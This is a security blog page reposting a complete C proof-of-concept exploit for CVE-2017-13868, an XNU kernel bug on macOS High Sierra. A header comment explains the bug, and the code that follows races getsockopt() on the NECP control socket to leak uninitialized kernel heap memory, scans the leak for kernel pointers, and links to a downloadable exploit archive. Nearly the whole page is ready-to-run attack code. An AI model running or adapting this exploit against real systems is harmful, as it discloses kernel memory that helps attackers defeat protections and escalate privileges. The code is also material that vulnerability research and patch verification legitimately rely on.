Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104800

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
 * ctl_ctloutput-leak.c
 * Brandon Azad
 *
 * CVE-2017-13868
 *
 * While looking through the source code of XNU version 4570.1.46, I noticed that the function
 * ctl_ctloutput() in the file bsd/kern/kern_control.c does not check the return value of
 * sooptcopyin(), which makes it possible to leak the uninitialized contents of a kernel heap
 * allocation to user space. Triggering this information leak requires root privileges.
 *
 * The ctl_ctloutput() function is called when a userspace program calls getsockopt(2) on a kernel
 * control socket. The relevant code does the following:
 *   (a) It allocates a kernel heap buffer for the data parameter to getsockopt(), without
 *       specifying the M_ZERO flag to zero out the allocated bytes.
 *   (b) It copies in the getsockopt() data from userspace using sooptcopyin(), filling the data
 *       buffer just allocated. This copyin is supposed to completely overwrite the allocated data,
 *       which is why the M_ZERO flag was not needed. However, the return value of sooptcopyin() is
 *       not checked, which means it is possible that the copyin has failed, leaving uninitialized
 *       data in the buffer. The copyin could fail if, for example, the program passed an unmapped
 *       address to getsockopt().
 *   (c) The code then calls the real getsockopt() implementation for this kernel control socket.
 *       This implementation should process the input buffer, possibly modifying it and shortening
 *       it, and return a result code. However, the implementation is free to assume that the
 *       supplied buffer has already been initialized (since theoretically it comes from user
 *       space), and hence several implementations don't modify the buffer at all. The NECP
 *       function necp_ctl_getopt(), for example, just returns 0 without processing the data buffer
 *       at all.
 *   (d) Finally, if the real getsockopt() implementation doesn't return an error, ctl_ctloutput()
 *       calls sooptcopyout() to copy the data buffer back to user space.
 *
 * Thus, by specifying an unmapped data address to getsockopt(2), we can cause a heap buffer of a
 * controlled size to be allocated, prevent the contents of that buffer from being initialized, and
 * then reach a call to sooptcopyout() that tries to write that buffer back to the unmapped
 * address. All we need to do for the copyout to succeed is remap that address between the calls to
 * sooptcopyin() and sooptcopyout(). If we can do that, then we will leak uninitialized kernel heap
 * data to userspace.
 *
 * It turns out that this is a pretty easy race to win. While testing on my 2015 Macbook Pro, the
 * mean number of attempts to win the race was never more than 600, and the median was never more
 * than 5. (This testing was conducted with DEBUG off, since the printfs dramatically slow down the
 * exploit.)
 *
 * This program exploits this vulnerability to leak data from a kernel heap buffer of a
 * user-specified size. No attempt is made to seed the heap with interesting data. Tested on macOS
 * High Sierra 10.13 (build 17A365).
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44234.zip
 *
 */
#if 0
	if (sopt->sopt_valsize && sopt->sopt_val) {
		MALLOC(data, void *, sopt->sopt_valsize, M_TEMP,	// (a) data is allocated
			M_WAITOK);					//     without M_ZERO.
		if (data == NULL)
			return (ENOMEM);
		/*
		 * 4108337 - copy user data in case the
		 * kernel control needs it
		 */
		error = sooptcopyin(sopt, data,				// (b) sooptcopyin() is
			sopt->sopt_valsize, sopt->sopt_valsize);	//     called to fill the
	}								//     buffer; the return
	len = sopt->sopt_valsize;					//     value is ignored.
	socket_unlock(so, 0);
	error = (*kctl->getopt)(kctl->kctlref, kcb->unit,		// (c) The getsockopt()
			kcb->userdata, sopt->sopt_name,			//     implementation is
				data, &len);				//     called to process
	if (data != NULL && len > sopt->sopt_valsize)			//     the buffer.
		panic_plain("ctl_ctloutput: ctl %s returned "
			"len (%lu) > sopt_valsize (%lu)\n",
				kcb->kctl->name, len,
				sopt->sopt_valsize);
	socket_lock(so, 0);
	if (error == 0) {
		if (data != NULL)
			error = sooptcopyout(sopt, data, len);		// (d) If (c) succeeded,
		else							//     then the data buffer
			sopt->sopt_valsize = len;			//     is copied out to
	}								//     userspace.
#endif

#include <errno.h>
#include <mach/mach.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#if __x86_64__

// ---- Header files not available on iOS ---------------------------------------------------------

#include <mach/mach_vm.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>

#else /* __x86_64__ */

// If we're not on x86_64, then we probably don't have access to the above headers. The following
// definitions are copied directly from the macOS header files.

// ---- Definitions from mach/mach_vm.h -----------------------------------------------------------

extern
kern_return_t mach_vm_allocate
(
	vm_map_t target,
	mach_vm_address_t *address,
	mach_vm_size_t size,
	int flags
);

extern
kern_return_t mach_vm_deallocate
(
	vm_map_t target,
	mach_vm_address_t address,
	mach_vm_size_t size
);

// ---- Definitions from sys/sys_domain.h ---------------------------------------------------------

#define SYSPROTO_CONTROL	2	/* kernel control protocol */

#define AF_SYS_CONTROL		2	/* corresponding sub address type */

// ---- Definitions from sys/kern_control.h -------------------------------------------------------

#define CTLIOCGINFO     _IOWR('N', 3, struct ctl_info)	/* get id from name */

#define MAX_KCTL_NAME	96

struct ctl_info {
    u_int32_t	ctl_id;					/* Kernel Controller ID  */
    char	ctl_name[MAX_KCTL_NAME];		/* Kernel Controller Name (a C string) */
};

struct sockaddr_ctl {
    u_char	sc_len;		/* depends on size of bundle ID string */
    u_char	sc_family;	/* AF_SYSTEM */
    u_int16_t 	ss_sysaddr;	/* AF_SYS_KERNCONTROL */
    u_int32_t	sc_id; 		/* Controller unique identifier  */
    u_int32_t 	sc_unit;	/* Developer private unit number */
    u_int32_t 	sc_reserved[5];
};

#endif /* __x86_64__ */

// ---- Definitions from bsd/net/necp.h -----------------------------------------------------------

#define	NECP_CONTROL_NAME "com.apple.net.necp_control"

// ---- Macros ------------------------------------------------------------------------------------

#if DEBUG
#define DEBUG_TRACE(fmt, ...)	printf(fmt"\n", ##__VA_ARGS__)
#else
#define DEBUG_TRACE(fmt, ...)
#endif

#define ERROR(fmt, ...)		printf("Error: "fmt"\n", ##__VA_ARGS__)

// ---- Kernel heap infoleak ----------------------------------------------------------------------

// A callback block that will be called each time kernel data is leaked. leak_data and leak_size
// are the kernel data that was leaked and the size of the leak. This function should return true
// to finish and clean up, false to retry the leak.
typedef bool (^kernel_leak_callback_block)(const void *leak_data, size_t leak_size);

// Open the control socket for com.apple.necp. Requires root privileges.
static bool open_necp_control_socket(int *necp_ctlfd) {
	int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
	if (ctlfd < 0) {
		ERROR("Could not create a system control socket: errno %d", errno);
		return false;
	}
	struct ctl_info ctlinfo = { .ctl_id = 0 };
	strncpy(ctlinfo.ctl_name, NECP_CONTROL_NAME, sizeof(ctlinfo.ctl_name));
	int err = ioctl(ctlfd, CTLIOCGINFO, &ctlinfo);
	if (err) {
		close(ctlfd);
		ERROR("Could not retrieve the control ID number for %s: errno %d",
				NECP_CONTROL_NAME, errno);
		return false;
	}
	struct sockaddr_ctl addr = {
		.sc_len     = sizeof(addr),
		.sc_family  = AF_SYSTEM,
		.ss_sysaddr = AF_SYS_CONTROL,
		.sc_id      = ctlinfo.ctl_id, // com.apple.necp
		.sc_unit    = 0,              // Let the kernel pick the control unit.
	};
	err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
	if (err) {
		close(ctlfd);
		ERROR("Could not connect to the NECP control system (ID %d) "
				"unit %d: errno %d", addr.sc_id, addr.sc_unit, errno);
		return false;
	}
	*necp_ctlfd = ctlfd;
	return true;
}

// Allocate a virtual memory region at the address pointed to by map_address. If map_address points
// to a NULL address, then the allocation is created at an arbitrary address which is stored in
// map_address on return.
static bool allocate_map_address(void **map_address, size_t map_size) {
	mach_vm_address_t address = (mach_vm_address_t) *map_address;
	bool get_address = (address == 0);
	int flags = (get_address ? VM_FLAGS_ANYWHERE : VM_FLAGS_FIXED);
	kern_return_t kr = mach_vm_allocate(mach_task_self(), &address, map_size, flags);
	if (kr != KERN_SUCCESS) {
		ERROR("Could not allocate virtual memory: mach_vm_allocate %d: %s",
				kr, mach_error_string(kr));
		return false;
	}
	if (get_address) {
		*map_address = (void *)address;
	}
	return true;
}

// Deallocate the mapping created by allocate_map_address.
static void deallocate_map_address(void *map_address, size_t map_size) {
	mach_vm_deallocate(mach_task_self(), (mach_vm_address_t) map_address, map_size);
}

// Context for the map_address_racer thread.
struct map_address_racer_context {
	pthread_t     thread;
	volatile bool running;
	volatile bool deallocated;
	volatile bool do_map;
	volatile bool restart;
	bool          success;
	void *        address;
	size_t        size;
};

// The racer thread. This thread will repeatedly: (a) deallocate the address; (b) spin until do_map
// is true; (c) allocate the address; (d) spin until the main thread sets restart to true or
// running to false. If the thread encounters an internal error, it sets success to false and
// exits.
static void *map_address_racer(void *arg) {
	struct map_address_racer_context *context = arg;
	while (context->running) {
		// Deallocate the address.
		deallocate_map_address(context->address, context->size);
		context->deallocated = true;
		// Wait for do_map to become true.
		while (!context->do_map) {}
		context->do_map = false;
		// Do a little bit of work so that the allocation is more likely to take place at
		// the right time.
		close(-1);
		// Re-allocate the address. If this fails, abort.
		bool success = allocate_map_address(&context->address, context->size);
		if (!success) {
			context->success = false;
			break;
		}
		// Wait while we're still running and not told to restart.
		while (context->running && !context->restart) {}
		context->restart = false;
	};
	return NULL;
}

// Start the map_address_racer thread.
static bool start_map_address_racer(struct map_address_racer_context *context, size_t leak_size) {
	// Allocate the initial block of memory, fixing the address.
	context->address = NULL;
	context->size    = leak_size;
	if (!allocate_map_address(&context->address, context->size)) {
		goto fail_0;
	}
	// Start the racer thread.
	context->running     = true;
	context->deallocated = false;
	context->do_map      = false;
	context->restart     = false;
	context->success     = true;
	int err = pthread_create(&context->thread, NULL, map_address_racer, context);
	if (err) {
		ERROR("Could not create map_address_racer thread: errno %d", err);
		goto fail_1;
	}
	return true;
fail_1:
	deallocate_map_address(context->address, context->size);
fail_0:
	return false;
}

// Stop the map_address_racer thread.
static void stop_map_address_racer(struct map_address_racer_context *context) {
	// Exit the thread.
	context->running = false;
	context->do_map  = true;
	pthread_join(context->thread, NULL);
	// Deallocate the memory.
	deallocate_map_address(context->address, context->size);
}

// Try the NECP leak once. Returns true if the leak succeeded.
static bool try_necp_leak(int ctlfd, struct map_address_racer_context *context) {
	socklen_t length = context->size;
	// Wait for the map to be deallocated.
	while (!context->deallocated) {};
	context->deallocated = false;
	// Signal the racer to do the mapping.
	context->do_map = true;
	// Try to trigger the leak.
	int err = getsockopt(ctlfd, SYSPROTO_CONTROL, 0, context->address, &length);
	if (err) {
		DEBUG_TRACE("Did not allocate in time");
		return false;
	}
	// Most of the time we end up here: allocating too early. If the first two words are both
	// 0, then assume we didn't make the leak. We need the leak size to be at least 16 bytes.
	uint64_t *data = context->address;
	if (data[0] == 0 && data[1] == 0) {
		return false;
	}
	// WOW! It worked!
	return true;
}

// Repeatedly try the NECP leak, until either we succeed or hit the maximum retry limit.
static bool try_necp_leak_repeat(int ctlfd, kernel_leak_callback_block kernel_leak_callback,
		struct map_address_racer_context *context) {
	const size_t MAX_TRIES = 10000000;
	bool has_leaked = false;
	for (size_t try = 1;; try++) {
		// Try the leak once.
		if (try_necp_leak(ctlfd, context)) {
			DEBUG_TRACE("Triggered the leak after %zu %s!", try,
					(try == 1 ? "try" : "tries"));
			try = 0;
			has_leaked = true;
			// Give the leak to the callback, and finish if it says we're done.
			if (kernel_leak_callback(context->address, context->size)) {
				return true;
			}
		}
		// If we haven't successfully leaked anything after MAX_TRIES attempts, give up.
		if (!has_leaked && try >= MAX_TRIES) {
			ERROR("Giving up after %zu unsuccessful leak attempts", try);
			return false;
		}
		// Reset for another try.
		context->restart = true;
	}
}

// Leak kernel heap data repeatedly until the callback function returns true.
static bool leak_kernel_heap(size_t leak_size, kernel_leak_callback_block kernel_leak_callback) {
	const size_t MIN_LEAK_SIZE = 16;
	bool success = false;
	if (leak_size < MIN_LEAK_SIZE) {
		ERROR("Target leak size too small; must be at least %zu bytes", MIN_LEAK_SIZE);
		goto fail_0;
	}
	int ctlfd;
	if (!open_necp_control_socket(&ctlfd)) {
		goto fail_0;
	}
	struct map_address_racer_context context;
	if (!start_map_address_racer(&context, leak_size)) {
		goto fail_1;
	}
	if (!try_necp_leak_repeat(ctlfd, kernel_leak_callback, &context)) {
		goto fail_2;
	}
	success = true;
fail_2:
	stop_map_address_racer(&context);
fail_1:
	close(ctlfd);
fail_0:
	return success;
}

// ---- Main --------------------------------------------------------------------------------------

// Dump data to stdout.
static void dump(const void *data, size_t size) {
	const uint8_t *p = data;
	const uint8_t *end = p + size;
	unsigned off = 0;
	while (p < end) {
		printf("%06x:  %02x", off & 0xffffff, *p++);
		for (unsigned i = 1; i < 16 && p < end; i++) {
			bool space = (i % 8) == 0;
			printf(" %s%02x", (space ? " " : ""), *p++);
		}
		printf("\n");
		off += 16;
	}
}

int main(int argc, const char *argv[]) {
	// Parse the arguments.
	if (argc != 2) {
		ERROR("Usage: %s <leak-size>", argv[0]);
		return 1;
	}
	char *end;
	size_t leak_size = strtoul(argv[1], &end, 0);
	if (*end != 0) {
		ERROR("Invalid leak size '%s'", argv[1]);
		return 1;
	}
	// Try to leak interesting data from the kernel.
	const size_t MAX_TRIES = 50000;
	__block size_t try = 1;
	__block bool leaked = false;
	bool success = leak_kernel_heap(leak_size, ^bool (const void *leak, size_t size) {
		// Try to find an kernel pointer in the leak.
		const uint64_t *p = leak;
		for (size_t i = 0; i < size / sizeof(*p); i++) {
			if (p[i] >> 48 == 0xffff) {
				dump(leak, size);
				leaked = true;
				return true;
			}
		}
#if DEBUG
		// Show this useless leak anyway.
		DEBUG_TRACE("Boring leak:");
		dump(leak, size);
#endif
		// If we've maxed out, just bail.
		if (try >= MAX_TRIES) {
			ERROR("Could not leak interesting data after %zu attempts", try);
			return true;
		}
		try++;
		return false;
	});
	return (success && leaked ? 0 : 1);
}